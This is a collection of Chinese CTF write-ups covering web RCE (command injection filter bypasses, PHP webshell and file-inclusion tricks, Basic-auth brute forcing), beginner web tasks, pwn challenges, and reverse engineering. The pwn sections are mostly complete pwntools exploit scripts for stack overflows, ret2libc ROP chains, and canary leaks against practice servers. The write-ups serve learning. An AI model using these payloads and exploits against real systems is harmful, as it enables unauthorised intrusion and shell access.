cthub技能树_web_RCE之命令注入

[toc]

命令注入

image-20200730205313234

进入题目,题目中给出了源码:

image-20200730205758156

我们随便输入一个ip看看输出结果:

image-20200730205859577

可以看到返回了执行ping -c 4 127.0.0.1的结果。同时发现这个网页使用的是get请求:

image-20200730210440289

那如果我们可以让服务器不执行ping命令,而执行我们需要的命令让服务器将结果回显,不就相当于我们有了一个webshell吗!这就是命令注入的意思。我们可以通过管道符来实现。

linux支持多种管道符:

管道符用法
;执行完前面语句再执行后面的。如ping 127.0.0.1; ls
|显示后面语句的执行结果。如ping 127.0.0.1 | ls
||前面语句出错时执行后面语句。如ping 127.0.0.1 || ls
&前面语句为假则执行后面语句。如ping 127.0.0.1 & ls
&&前面语句为假则报错,为真则执行后面语句。如ping 127.0.0.1 && ls

我们使用 |进行注入,可以看到返回了ls的结果:

image-20200730210948859

我们看看那个奇怪的php文件,发现没有回显,看看源码(这个地方坑了我很长时间,后面的题最终都需要查看源码),得到flag:

image-20200730211234543

过滤cat

image-20200730211439573

对于命令注入的题目,主要考察的就是各种过滤的绕过,这道题就是考察cat过滤的绕过。

首先查看flag文件名:

image-20200730221846743

读取文件可以使用more、head等命令。关于linux的文本读取命令,可以看看这篇文章:Linux读取文本常用命令。本题我使用more命令,得到flag

image-20200730222246812

由于后面的题目均考察不同内容的过滤,所以非重点的图片等就不再放上来了。

过滤空格

这次我们要绕过空格,绕过空格有很多种方法。我们可以使用我们可以使用${IFS}来表示空格,IFS是shell中的一个变量,关于IFS的资料,可以看这篇文章(强烈推荐看看):详细解析Shell中的IFS变量

我们在命令中就用IFS来替换空格:

image-20200730223159084

得到flag:

image-20200730223441299

过滤目录分隔符

目录分隔符/我们可以使用$HOME代替,HOME也是shell中的一个环境变量,表示当前用户的根目录,我们可以看看当前用户的HOME值是什么

image-20200731173205285

可以看到当前用户的根目录是/home/www-data,我们只需要/,所以我们可以用${HOME:0:1}来实现

image-20200731181313922

首先查看flag位置:

image-20200731172616367

image-20200731172934380

读取flag:

image-20200731181418868

image-20200731181428086

过滤运算符

这道题过滤了 | 和 &,我们可以使用 ; 进行注入:

image-20200731181801768

直接cat得到flag:

image-20200731181837629

综合过滤练习

首先看一下过滤的符号有哪些:

image-20200731181939756

过滤了 | & ; 空格 / cat flag ctfhub这些符号

我们可以使用%0a(换行符的url编码)来绕过运算符:

image-20200731182638296

字符串的绕过我们可以使用反斜杠 \,如flag变成fl\ag:

image-20200731182804769

读取flag:

image-20200731183029022

image-20200731183037672

至此,我们就完成了命令注入的技能树,可以看到命令注入主要考察的就是各种绕过姿势,本文主要针对题目来讲,这里再放一些命令注入绕过姿势的总结文章,供大家参考和学习:

命令注入绕过姿势

命令执行绕过小技巧

命令注入绕过技巧总结

关于命令执行/注入 以及常见的一些绕过过滤的方法

ctfhub技能树_web_RCE之eval、文件包含

[toc]

这次我们来看看RCE(远程代码/命令执行)吧。由于篇幅限制,这篇文章不包含命令注入,命令注入我会在另一篇文章中详细的记录。

eval执行

image-20200730155557512

打开题目,可以看到网页的源代码

image-20200728222754175

通过代码可以看到,这就是典型的web后门,配置中国蚁剑

image-20200730153921884

进入后台,获取flag

image-20200730153821908

文件包含

image-20200728223933664

看看代码:

image-20200728223945677

strpos(string,find,start) 函数查找字符串在另一字符串中第一次出现的位置

参数描述
string必需。规定要搜索的字符串。
find必需。规定要查找的字符串。
start可选。规定在何处开始搜索。
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。

可以看到如果get传入参数file的值开头为xflag(x为任意字符),则执行include()函数。

include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。

服务器后台有一句话木马shell.txt,因此我们的目标就是让服务器执行shell.txt中的语句。所以file的值为shell.txt

看看shell:

image-20200728224421429

则shell要传的参数是ctfhub:

image-20200730154818635

查找flag:

find / -name flag*

image-20200730154859368

得到flag:

image-20200730154918100

php://input

image-20200728230112933

首先看代码:

image-20200728230147871

可以看到如果get的参数file前六个字符为”php://“则执行include函数

看看phpinfo

image-20200728230338863

可以看到allow_url_include是On,说明可以使用php://input伪协议。

php://input 是个可以访问请求的原始数据的只读流。其实说白了它就是用来获取post内容的,但是其实只要你把内容写到请求包中,post和get都能获取。

那我们就通过这个伪协议和精心构造的请求包来获取我们想要的信息(注意此时虽然我是get请求而不是post,但由于我的包中有内容,所以伪协议依然是接收到了):

image-20200728231301739

这样我们就可以来找我们要的flag了

image-20200728231554765

有了flag的路径,就可以得到flag了。

image-20200728231744426

远程包含

image-20200728231924149

看代码:

image-20200728232001224

这个题的解法和上一题php://input一模一样,不再赘述。

image-20200728232316912

读取源代码

image-20200728232832725

代码审计:

image-20200728232902587

首先尝试php://input,发现没有返回结果

image-20200728233102208

测试了好多遍都无果,那看来是没法用input了。再看题目,题目告诉我们了flag的路径,于是我们可以用另一条伪指令php://filter来进行读取

php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。简单理解就是个可以读取数据的过滤器。我们可以用它选择想要进行操作并读取的内容。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

名称描述
resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

关于php://filter更多的妙用可以看这个大佬的文章

知道了php://filter的用法,我们就可以读取flag了。

image-20200728232928462

关于伪协议部分,这里是官方的文档

至此,我们初步了解了文件包含和eval执行,解锁了对应的技能树,下一步,我们就来看看命令注入吧。

ctfhub技能树_web_web前置技能之http协议

[toc]

[begin]这[/begin]篇文章是ctfhub write up系列的第一篇,ctfhub这个平台在知名的ctf练习平台中算是相对比较基础的,我觉得它很好的一点是它的技能树由浅入深(只是除了web其他几乎都没几道题啊……),非常适合刚入门的ctfer。这个系列呢就来刷一下ctfhub技能树,wp也会按照技能树的节点来整理。当然,篇幅限制,这个系列不会详细的解释题目背后的基础原理。好了,废话不多说,让我们首先从web开始吧!

初见web,当然要了解web中常用的前置技能中最基础之HTTP协议。

请求方式

image-20200728214356549

打开题目,题目描述如下:

image-20200728214449865

让我们用CTF**B,这一猜就是CTFHUB嘛。(我不会告诉你我试了很多遍CTF**B)

burp抓包把报头的GET改成CTFHUB再发送,得到flag:

image-20200728214927838

302跳转

image-20200728215000780

打开题目

image-20200728215119561

点一下give me flag还是这个界面,题目提示我们302跳转,那点击按钮的时候用burp抓包看看:

image-20200728215219830

可以看到有一个“一闪而过”的302跳转界面,而这里就有我们要的flag

Cookie

image-20200728215341660

进入题目:

image-20200728215415635

所以我们要伪造admin身份,burp抓包看看:

image-20200728215513014

cookie的值本来是admin=0,我们改成1再请求下就可以得到flag

基础认证

image-20200728215735900

进入题目,点击按钮,发现让我们输入用户名和密码,注意验证中的“Do u know admin ?”

image-20200728215702867

题目中还有个附件,我们下下来看看,发现是个字典

image-20200728215909065

那看来让我们爆破了,题目中有“Do u know admin ?”,那我们就猜用户名是admin,用burp开始爆破吧,首先burp抓包看看(用户名随便填的wwww,密码随便填的ww):

image-20200728220401932

发现有base64加密,解密后发现是wwww:ww,那我们就知道了请求的格式了:“用户名:密码”。

准备爆破,注意设置规则,先添加前缀admin:,再进行base64加密得到payload,设置完成后用题目给的字典开始爆破。

image-20200728220822212

爆破结果:

image-20200728221049282

可以看到有一次的结果和其他结果返回的数据包长度不一样,打开响应包,得到flag

响应包源代码

image-20200728221211252

打开是个贪吃蛇游戏,不过我们不管他,看看网页的源码:

直接得到flag

至此,http协议的技能树我们就全解锁啦,继续向青草更青处漫溯吧!

攻防世界web新手训练

攻防世界web新手

[toc]

view_source

F12看源码

image-20200717105543297

get_post

进入链接后提示如下:

image-20200717105042516

构造url

image-20200717105235135

提交后提示如下:

image-20200717105348157

再次构造url

image-20200717105410671

提交得到flag

image-20200717105433487

robots

进入链接后什么都没有

看看robots.txt

image-20200717105816695

可以看到disallow的位置就是我们要找的flag

image-20200717105903647

backup

image-20200717110737642

看到index.php,我们看看

image-20200717110832971

发现没有什么变化,那么根据提示,我们看看备份文件,一般备份文件的后缀是.bak

image-20200717110927693

当我们输入index.php.bak时可以下载该文件,下载后打开,得到flag

image-20200717111007209

cookie

image-20200717111232613

抓包看看

image-20200717111309876

那我们就看看cookie.php

image-20200717111344601

提示我们看看响应包,得到flag

image-20200717111438468

disabled_button

image-20200717113546553

看看这个按钮

image-20200717113711469

可以看到这个按钮的作用实际上就是post传递一个auth=flag,那么我们自己传这样一个参数,得到flag

image-20200717113819628

weak_auth

进入后是一个登陆界面,随便输一个用户名密码

image-20200717114325671

说明用户是admin

image-20200717114352984

可以看到这个题就是暴力破解,那么放到burp suite里跑个字典

image-20200717114500113

可以看到密码就是123456

image-20200717114523421

得到flag

simple_php

image-20200717114651376

看php代码说明我们要构造a和b,让a和b的值都满足条件,就可以获得flag

那么首先看a,要a=0为真,a为真,所以a不可能等于0,要想解决这个问题,首先我们要知道php的特性。

由于php为弱类型语言,因此当不同类型的值进行==比较的时候会发生类型转换。正常情况下不同类型的值是不能比较的,php 为了比较进行了数据类型转换。把不同类型的值转换为相同类型后再比较。

具体转换规则可以看这篇文章《彻底解决php判断a==0为真引发的问题-类型转换》,这里不再赘述。

知道了转换规则,那么我们就可以构造了,得到flag

image-20200717115934924

xff_referer

进入后提示如下:

那么我们就在请求包中通过x-forwarded-for伪造ip

image-20200717162612014

注意xff加入的位置,我之前加入到末尾发现页面一直在加载没有响应,我想xff写在请求头中间就好了。

然后发现提示变化:

image-20200717161539728

那么在伪造referer

image-20200717162711288

得到flag

image-20200717162734141

webshell

image-20200717170244887

php的一句话木马,使用中国菜刀连接,中国菜刀可以从这个地方下载,

image-20200717170319974

即可进入服务器

image-20200717170345624

获得flag

image-20200717170404876

当然,如果没有工具,那就手动构造请求post包

一句话木马中的变量是shell,所以我们传的变量就是shell

image-20200717170710704

可以看到返回了当前路径的所有文件,看到了flag.txt

image-20200717170754480

得到flag

command_execution

image-20200717172147730

尝试ping一下本机127.0.0.1

image-20200717172220593

可以看到ping的结果返回到了页面,那么尝试命令注入

命令注入有很多种方法,可以参考这两篇文章:文章1文章2,这里不再赘述

这道题比较简单,没有waf,不需要绕过,我使用 | 进行注入

command 1 | command 2 只执行command2

image-20200717172637290

可以看到执行了ls命令,现在找flag

image-20200717172921373

得到flag

image-20200717172957802

simple_js

image-20200717181134028

随便输一个

image-20200717181148627

看看源码,调试一下js

image-20200717181218694

发现不论输入的密码是什么,最后都会跳到假密码FAUX PASSWORD HAHA

而真密码是初始的pass_enc

image-20200717181342602

那么就把pass的值改为pass_enc,执行一下,注意14行的tab2下标要改成10,因为默认的pass长度为18,而修改后的pass长度为11,所以要修改,否则最后执行的时候p加入的就不是pass的最后一个值了(这个地方坑了我好久)

image-20200717181443038

把获取到的字符串加上题目要求的flag格式即可得到flag

buuctf——pwn刷题之旅(持续更新)

[toc]

连上就有flag的pwn

1568305685314

RIP覆盖一下

1568307672397

IDA看一下:

1568307909466

典型的溢出,函数中有fun函数:

1568307994407

看一下偏移:

1568308011545

有一个需要注意的地方就是nc连上发现没有输出input,直接让我输入,所以exp改了一下。

exp:

from pwn import *

p = remote('pwn.buuoj.cn', 6001)
#p = process('../files/pwn1')

payload = 'a' * (0xf + 8) + p64(0x401186)
p.sendline(payload)
p.interactive()

得到flag:

1568308290836

ciscn_2019_c_1

还是个64位的ELF,IDA分析一下:

main函数里没有啥:

1568359070246

encrypt()函数里存在栈溢出:

1568359126837

由于程序中没有system和sh所以ROP攻击。

思路是通过栈溢出返回程序中的puts函数把gets函数的地址泄露出来,然后找到偏移地址,再调用system和/bin/sh来获得shell。

看一下s:

1568359326141

exp:

from pwn import *
from LibcSearcher import *

#p = process('../files/ciscn_2019_c_1')
p = remote('pwn.buuoj.cn', 20115)
e = ELF('../files/ciscn_2019_c_1')

start = 0x400B28
rdi_addr = 0x0000000000400c83

puts_plt = e.plt['puts']
gets_got = e.got['gets']

log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))

p.sendlineafter('choice!\n', '1')

payload1 = 'a' * (0x50 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)

p.sendline(payload1)

p.recvuntil('@')
p.recvline()
gets_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
log.success('get_leak_addr => {}'.format(hex(gets_leak)))

libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

p.sendlineafter('choice!\n', '1')

payload2 = 'a' *(0x50 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

p.sendline(payload2)
p.interactive()

运行得到flag:

1568359451505

warmup_csaw_2016

看一下源码:

1568359953444

很明显的栈溢出。程序中还有这个:

1568359977736

没啥说的了,直接上exp:

from pwn import *


p = remote('pwn.buuoj.cn', 20035)

payload = 'a' * (0x40 + 8)
payload += p64(0x40060d)

p.recvuntil('>')
p.sendline(payload)

p.interactive()

得到flag:

1568360050956

pwn1_sctf_2016

分析源码:

1568381486365

第13行发现传入的s被限制在了31个字符,没法溢出,但是接着看发现当输入I的时候,程序会把I变成you,这样一来原本一个字符就变成了三个字符,可以溢出了!

发现程序中有get_flag函数:

1568381665781

那么思路就是溢出让程序返回get_flag函数。

动态调试查看输入的起始地址为FFCD1D48(you是程序运行自己修改的):

1568381364714

程序返回地址存放的位置为FFCD1D90:

1568381400442

所以偏移量就是90-4C-4=0x40=64,那么就需要填充64个字节,所以构造21个I加一个A,exp如下:

from pwn import *

#p = process('../files/pwn1_sctf_2016')
p = remote('pwn.buuoj.cn',20086)
e = ELF('../files/pwn1_sctf_2016')

get_flag = e.symbols['get_flag']
log.success('get_flag_addr => {}'.format(hex(get_flag)))

payload = 'I' * 21 + 'A' + p32(get_flag)

p.sendline(payload)
print(p.recv())

得到flag:

1568382235211

ciscn_2019_en_1

和ciscn_2019_c_1一模一样,exp改个端口号就行了。

ciscn_2019_n_1

源码很简单:

1568388929535

就是一个简单的溢出让v2变成11.28125。v1是var_30,v2是var_4:

1568389165705

1568389212921

再看一下11.28125在程序中的表示:

1568389275163

也就是让v2变成41348000h,所以exp如下:

from pwn import *

#p = process('../files/ciscn_2019_n_1')
p = remote('pwn.buuoj.cn', 20137)

payload = '1' * 0x2c + p64(0x41348000)
p.recv()
p.sendline(payload)
p.interactive()

1568386840196

我去{{tuxue}},居然告诉我没有flag,可能是出题的时候环境配的有问题吧,或者是就是个坑。

不过没关系,那就ROP,具体没啥好说的和前几道题都差不多,,不多说了。

exp:

from pwn import *
from LibcSearcher import *


#p = process('../files/ciscn_2019_n_1')
p = remote('pwn.buuoj.cn', 20137)
e = ELF('../files/ciscn_2019_n_1')

rdi_addr = 0x0000000000400793
start = 0x4006DC

puts_plt = e.plt['puts']
gets_got = e.got['gets']
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))

payload1 = 'a' * (0x30 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)

p.sendline(payload1)

p.recvuntil('11.28125\n')
gets_leak = u64(p.recvline()[:-1].ljust(8,'\0'))
log.success('gets_leak_addr => {}'.format(hex(gets_leak)))

libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

p.recvline()

payload2 = 'a' * (0x30 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

p.sendline(payload2)

p.interactive()

取得shell,得到flag:

1568423814631

攻防世界pwn高手进阶(持续更新)

[toc]

dice_game

IDA看一下:

1567242345912

1567242499901

这个和新手训练的guess_num一样都是猜数字,buf溢出改seed。:不多说了。

唯一的问题是附件中给的libc.so.6我好像没法用,写的exp一直提示我Illegal instruction (core dumped),很迷。

exp如下:

from pwn import *
from ctypes import *

p = remote('111.198.29.45', 30940)
#p = process('../files/dice_game')
c = CDLL('libc.so.6')
print(c)
payload = 'a' * 0x40 + p64(1)
c.srand(1)
p.recvuntil('name:')
p.sendline(payload)
for i in range(50):
    p.recvuntil('point(1~6):')
    p.sendline(str(c.rand()%6+1))
p.interactive()

得到flag:

1567242784679

warmup

这个题没给附件……我看了看别人的wp的代码,就是一个很简单的溢出,cat flag函数都现成的。直接写exp就行了:

from pwn import *


p = remote('111.198.29.45', 41547)
payload = 'a' * (0x40 + 8) + p64(0x40060d)
p.recvuntil('>')
p.sendline(payload)
print(p.recv())

得到flag:

1567245274637

forgot

题目描述:福克斯最近玩弄有限状态自动机。在探索概念实现正则表达式使用FSA他想实现一个电子邮件地址验证。 最近,Lua开始骚扰福克斯。对此,福克斯向Lua挑战斗智斗勇。福克斯承诺要奖励Lua,如果她能到不可达状态在FSA他实施过渡。可以在这里访问复制。 运行服务hack.bckdr.in:8009

看一下源码:

2019-09-01_184730

for循环是判断输入字符串是否符合格式,例如sub_8048702(v2[i])就是判断首字母是否为小写字母或数字或特定字符:

1567335394443

第88行的代码是根据v14的值调用v3~v12中的一个函数(输出字符串)。例如v3:

1567335494006

该程序调用函数和参数都是根据偏移量来调用,

1567335649804

程序中有system函数,因此我们的思路就是通过栈溢出让程序执行system函数,那么我们要知道我们输入的字符串的位置。

观察汇编代码可以得到v2(我们输入的字符串)的地址为[esp+10h]

于是开始构造exp运行,构造的过程中我发现调用system之后system执行的命令就是我们输入的字符串:

1567339763954

所以可以直接输入/bin/sh,但是只输入/bin/sh不能达到栈溢出的目的,需要占位符。用 ; 来隔离后面的无用的占位符,确保命令能正常执行。

如果我们输入/bin/sh,那么程序在判断输入字符串是否符合格式的时候就会调用sub_8048618(),因此我们就要修改[esp+34h]的地址为system的地址。那么和我们的[esp+10h]之间的偏移量就是36,也就是我们需要输入36个字符。

得到exp如下:

from pwn import *


p = remote('111.198.29.45', 35636)
#p = process('../files/forgot')
e = ELF('../files/forgot')
sys = e.symbols['system']
payload = '/bin/sh' + ';' + 'w' * 28 + p32(sys)
p.recvuntil('name?\n')
p.recvuntil('>')
p.sendline('name')
p.recvuntil('validate\n')
p.recvuntil('>')
p.sendline(payload)
p.interactive()

得到flag:

1567340251686

stack2

程序是一个求平均数的软件,输入一个数组,可以查看当前数组、添加和修改数组中的数还有求平均数。

看一下源码:

1567597713534

发现在修改数的时候没有判断数组越界,所以可以构造栈溢出。

看一下程序中发现有hackme函数:

1567597827722

那么就是构造栈溢出让程序返回到hackhere。

我们在第60行下断点,动态调试一下:

1568275633125

此时堆栈如图,可以看到FF942C68是v13的起始地址。

1568275967093

继续调试,按5退出,观察函数调用情况:

1568276152606

可以看到退出时调用函数所在栈的位置是FF942CEC,那么我们就要修改FF942CEC的值,那就可以得到偏移量为FF942CEC-FF942C68=0x84。

exp:

from pwn import *


p = remote('111.198.29.45',57626)
e = ELF('../files/stack2')

p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')

offset = 0x84

def sendaddr(offset,addr):
    p.recvuntil('5. exit')
    p.sendline('3')
    p.recv()
    p.sendline(str(offset))
    p.recv()
    p.sendline(str(addr))

sendaddr(offset, 0x9B)
sendaddr(offset + 1, 0x85)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)

p.recvuntil('5. exit')
p.sendline('5')

p.interactive()

运行发现错误:

1568299593922

就感觉/bash怪怪的,那看来得自己传参了。由于system传入sh也可以执行shell,所以我们直接使用程序中的现成的sh就可以了。

1568301479701

exp如下:

from pwn import *


p = remote('111.198.29.45',57626)
e = ELF('../files/stack2')

p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')
sys_addr = e.symbols['system']
log.success('system_addr => {}'.format(hex(sys_addr)))

offset = 0x84

def sendaddr(offset,addr):
    p.recvuntil('5. exit')
    p.sendline('3')
    p.recv()
    p.sendline(str(offset))
    p.recv()
    p.sendline(str(addr))
#sys_addr
sendaddr(offset, 0x50)
sendaddr(offset + 1, 0x84)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)

offset += 8
#sh_addr
sendaddr(offset, 0x87)
sendaddr(offset + 1, 0x89)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)

p.recvuntil('5. exit')
p.sendline('5')

p.interactive()

获得shell,得到flag:

1568301778145

pwn-100

这是一个64位的ELF文件:

1568260260975

IDA看一下源码:

1568260146451

1568265875900

v1存在栈溢出漏洞。程序中没有system函数,没有/bin/sh,由于是64位程序,所以需要利用ROP来传参数,关于ROP的学习,推荐个大佬的博客:ROP学习:64位栈溢出

程序中有read,puts,所以思路是调用puts把read的绝对地址泄露出来然后找到libc版本和偏移量把system和/bin/sh的地址找到,再调用system,传入/bin/sh拿到shell。参数通过ROP方法传递。

首先寻找ROP:

1568261009433

由于我们要用的puts和system函数都只需要一个参数,所以只需要rdi就可以。pop rdi; ret 的地址为0x0000000000400763。

exp如下:

from pwn import *
from LibcSearcher import *

#p = process('../files/pwn-100')
p = remote('111.198.29.45', 30013)
e = ELF('../files/pwn-100')


vuln = 0x40068e #是sub_40068E()的地址
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x0000000000400763

log.success('read_got_addr => {}'.format(hex(read_got)))
log.success('puts_plt_addr => {}'.format(hex(puts_plt)))

payload1 = 'a' * 0x48 
payload1 += p64(pop_rdi) + p64(read_got) + p64(puts_plt) #把read_got传入rdi,然后调用puts,puts把read_got打印出来
payload1 += p64(vuln) #返回sub_40068E()函数准备第二次继续攻击
payload1 += 'a' * (200 - len(payload1)) #程序要求一次需要输入200个字符,所以最后填满

p.send(payload1)
p.recv()  #回显bye~
read_leak = u64(p.recv()[1:-1].ljust(8,'\0')) #得到read的绝对坐标
log.success('read_leak_addr => {}'.format(hex(read_leak)))


libc = LibcSearcher('read', read_leak)
libc_base = read_leak - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

print 'system_addr:', hex(sys_addr)
print 'bin_sh_addr:', hex(bin_sh_addr)

payload2 = 'a' * 0x48
payload2 += p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)  #system('/bin/sh')
payload2 += 'a' * (200 - len(payload2))

p.send(payload2)

p.interactive()

执行exp,选择libc版本选0,得到shell:

1568302057127

得到flag:

1568266254184

mary_morton

题目描述:非常简单的热身pwn

首先看一下源码:

1572066823941

1572066856025

可以看到我们可以选择栈溢出漏洞或者是格式化字符串漏洞。

首先看一下栈溢出漏洞:

1572066925488

buf是很典型的栈溢出。

再看一下格式化字符串漏洞:

1572066976502

也是很典型的格式化字符串漏洞。

程序中还有一个目标函数:

1572067033370

那么思路很明确,就是栈溢出让程序返回到cat_flag(名字是我改的)得到flag就行了。但是这个程序有个问题,它开启了canary保护。

1572067142663

所以我们没办法直接进行栈溢出,否则就会报错,因此我们要绕过canary保护,这方面知识可以看CTFwiki

要绕过canary保护,其中一种方式是知道canary是多少,程序中可以看到canary的偏移量是0x90-8=0x88:

1572067798113

1572067814376

那么思路就是我们通过格式化字符串漏洞得知canary的值然后在栈溢出的时候把canary写进去,这样就可以绕过canary保护。

要想知道canary的值,就得知道canary在内存中的地址,我们通过代码可以知道格式化字符串的偏移量是6,而我们输入参数(buf)和canary之间的偏移为0x90 – 8 = 0x88字节,八个字节为一组,0x88 / 8 = 17,也就是说格式化字符串到canary的偏移是17+6=23,那么我们用%23$p就可以看到偏移量为23的内存的内容了。这样就可以得到canary。后面就是简单的栈溢出了。

构造exp如下:

from pwn import *


p = remote('111.198.29.45',58615)
#p = process('../files/mary_morton')
e = ELF('../files/mary_morton')

get_flag = 0x4008da
format_offset = 6

payload = "%23$p"

p.recvuntil('battle')
p.sendline('2')

p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)

p.recvuntil('battle')
p.sendline('1')

payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(get_flag)

p.sendline(payload2)

p.interactive()

得到flag:

1572067848834

monkey

这个题给了个js,打开之后是一个js shell,由于我不会js,我刚开始看的时候毫无头绪,还是用传统的方法打开IDA分析,啥也没看出来。后来发现这个题其实如果你知道js相关的知识就很简单了,js有个os.system函数,直接os.system(“/bin/sh”)就可以获取shell了。

image-20191030110610797

pwn1

image-20191102091949539

先运行看看:

image-20191102092031860

IDA打开看一下源码:

image-20191102091742929

可以看到一个典型的栈溢出,要构造的肯定是&s了。这个题没有现成的获取flag目标函数,因此我们就需要ROP。同时这个题有canary,因此我们需要绕过canary。

看一下&s:

image-20191102160837726

image-20191102160909600

var_8就是我们要获取的canary。

main函数的起始地址是0x400908。

那么思路就是首先通过puts得到canary,然后通过puts爆出read的真实地址,找到libc,然后在用libc中的system和/bin/sh反弹shell。要注意的一点就是canary的最后两位不是\x0a,而是\x00,因为我们在构造的时候输入0x88个a时还输入了一个回车,这个回车把canary最后的\x00覆盖成了\x0a。正是这个覆盖才让puts能输出canary。

64位通过rdi传参,首先获得rdi地址:

image-20191102160330688

exp如下:

from pwn import *
from LibcSearcher import *

#p = process('../files/babystack')
p = remote('111.198.29.45', 56221)
e = ELF('../files/babystack')

rdi_addr = 0x0000000000400a93
start = 0x400908

puts_plt = e.plt['puts']
read_got = e.got['read']
log.success('puts_plt_addr => {}'.format(hex(puts_plt)))
log.success('read_got_addr => {}'.format(hex(read_got)))

#found canary
p.sendlineafter('>> ','1')
payload = 'a' * 0x88
p.sendline(payload)
p.sendlineafter('>> ','2')
p.recvuntil('a' * 0x88 + '\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
log.success('canary => {}'.format(hex(canary)))

#found real_read_address
p.sendlineafter('>> ','1')
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(read_got) + p64(puts_plt)
payload += p64(start)
p.sendline(payload)
p.sendlineafter('>> ','3')
real_read = u64(p.recv(8).ljust(8,'\x00'))
log.success('real_read_address => {}'.format(hex(real_read)))

#ROP
libc = LibcSearcher('read',real_read)
libc_base = real_read - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

#get_shell
p.sendlineafter('>> ','1')
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
p.sendline(payload)
p.sendlineafter('>> ','3')

p.interactive()

运行,选择题目给的libc,得到flag:

image-20191102160654357

攻防世界逆向高手进阶(持续更新)

[toc]

dmd-50

做题实录

附件dMd是个64位ELF文件,运行一下,让输入key,随便输入一个,报错。

1565588951505

IDA打开看一下

2019-08-12_135045

直接看if判断,发现字符串780438d5b6e29db0898bc4f0225935c0,分析代码,看到第50行是个MD5加密,所以想到尝试MD5解密上面这个字符串,在这个网站解密的结果如下:

1565589413006

然后我运行程序输入grape,程序报错,好吧,看来没这么简单

进到MD5函数里看看,也没发现什么

1565590696742

做题一度陷入了僵局。后来又进入一个解密网站解密,发现居然解密的结果不一样{{jingxia}}

这次的结果是

1565590901116

运行程序输入b781cbb29054db12f88f08c6e161c199,成功。所以flag就是b781cbb29054db12f88f08c6e161c199。

后来我发现grape在MD5加密之后就是b781cbb29054db12f88f08c6e161c199,可能第一个网站比较牛逼,直接给你解析到最开始的字符串{{xiaoku}}

分析总结

这个就是简单的看源码分析找到MD5解密就行了,没什么难度。

Shuffle

题目描述:找到字符串在随机化之前.

做题实录

这是个32位elf文件,运行跑出来是乱码

放到IDA里看一下

这……不说了{{mudengkoudai}}

直接出答案SECCON{Welcome to the SECCON 2014 ctf!}

re2-cpp-is-awesome

题目描述:他们说c++是复杂的,证明他们说的是错的!

做题实录

上来先一顿基操

1565595113757

IDA,开启!进入main函数

2019-08-12_190525

分析函数,可以发现第35行是主要的判断函数,v9就是我们输入的flag。那么flag的线索就藏在off_6020A0[asc_6020C0[v15]]里,那先看看off_6020A0里是什么吧。

1565608274123

看到一个像flag的东西,突然兴奋了起来,不会这么简单吧。继续看

1565608360037

好吧,本来以为是flag,但是看到这发现事情果然没有那么简单{{koubi}}

接着看asc_6020C0,发现是一些数据

1565609099770

后面其实本来一开始也是db,只不过我改成dd了(按D键),至于为什么要改,是我马后炮做完题才发现的,在写脚本的时候我会说到。

从分析可以看出flag应该就是从off_6020A0处的str(下文都叫str)中生成的。

先通过v15找出对应的asc_6020C0中的值,再以asc_6020C0的值为偏移量在str中找对应的字母,最终拼成flag。

有了这个思路后我就开始试着看一下flag是什么,发现asc_6020C0第一个是“$”,按D键转成ASCII码是24h,数出来是A,接着动态调试一下看看对不对。在判断的地方下断点,然后在Debugger->Process Option->Parameters中填入要输入的参数Adawda(除了开头的A后面是随便填的),开始调试

1565609766817

调试中我又下了两个断点,调试之后发现A是对的,那就印证了我的猜想,那下一步就是把所有的字符找出来。

